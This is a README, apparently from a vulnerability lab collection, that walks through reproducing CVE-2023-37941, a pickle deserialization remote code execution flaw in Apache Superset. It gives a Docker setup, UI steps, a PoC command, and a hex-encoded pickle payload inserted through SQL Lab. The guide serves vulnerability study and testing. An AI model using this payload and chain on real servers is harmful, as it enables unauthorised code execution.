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+# Apache Superset Python Pickle Deserialization Leads to RCE (CVE-2023-37941)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Apache Superset is an open-source data exploration and visualization platform designed to be visual, intuitive, and interactive.
+
+Apache Superset versions from 1.5 to 2.1.0 contain a Python Pickle deserialization vulnerability (CVE-2023-37941). The application uses Python's `pickle` package to store certain configuration data in the metadata database. An authenticated user with write access to the metadata database can insert a malicious pickle payload, which when deserialized by the application, leads to remote code execution on the Superset server.
+
+When combined with [CVE-2023-27524](../CVE-2023-27524), an unauthenticated attacker can achieve remote code execution by first bypassing authentication and then exploiting the deserialization vulnerability.
+
+References:
+
+- <https://www.horizon3.ai/attack-research/disclosures/apache-superset-part-ii-rce-credential-harvesting-and-more/>
+- <https://github.com/Barroqueiro/CVE-2023-37941>
+- <https://forum.butian.net/share/2458>
+
+## Environment Setup
+
+Execute the following command to start an Apache Superset 2.0.1 server:
+
+```
+docker compose up -d
+```
+
+After the server is started, you can access Superset at `http://your-ip:8088`. The default login credentials are admin/vulhub.
+
+## Vulnerability Reproduction
+
+The following steps assume you have already generate a valid session cookie and logged into the Dashboard through the [CVE-2023-27524](../CVE-2023-27524) vulnerability.
+
+First, create a new "Dashboard" and generate a permalink by clicking the "Share" button, copy this permalink and we will use it later:
+
+![](1.png)
+
+Then, create a new "Database" connection by following the steps below:
+
+1. Navigate to "Data" → "Databases" in the Superset UI
+2. Click "+ Database" to add a new database connection
+3. Enter a name for the database (e.g., "SQLite")
+4. For the SQLAlchemy URI, use: `sqlite+pysqlite:////app/superset_home/superset.db`
+5. Expand "Advanced" and check "Expose in SQL Lab" and "Allow DML"
+6. Save the database configuration
+
+![](2.png)
+
+![](3.png)
+
+Then, use [CVE-2023-37941.py](CVE-2023-37941.py) to generate a malicious SQL command (the `-d` option can be `sqlite`, `mysql`, or `postgres`, means the database type of the Superset server, here is `sqlite` in Vulhub):
+
+```shell
+$ python3 CVE-2023-37941.py -c "touch /tmp/success" -d sqlite
+[+] Base64 encoded payload:
+Y3Bvc2l4CnN5c3RlbQpwMAooVnRvdWNoIC90bXAvc3VjY2VzcwpwMQp0cDIKUnAzCi4=
+
+[+] Hex encoded payload (for SQL):
+update key_value set value=X'63706f7369780a73797374656d0a70300a2856746f756368202f746d702f737563636573730a70310a7470320a5270330a2e' where resource='dashboard_permalink';
+```
+
+> [!NOTE]
+> Because the `pickle` deserialization payload is different for different operating systems, you need to run the POC on Linux or MacOS.
+
+Execute the generated SQL command in the SQL Lab:
+
+![](4.png)
+
+Finally, trigger the deserialization by accessing the permalink:
+
+![](5.png)
+
+As you can see, the `touch /tmp/success` command has been executed successfully.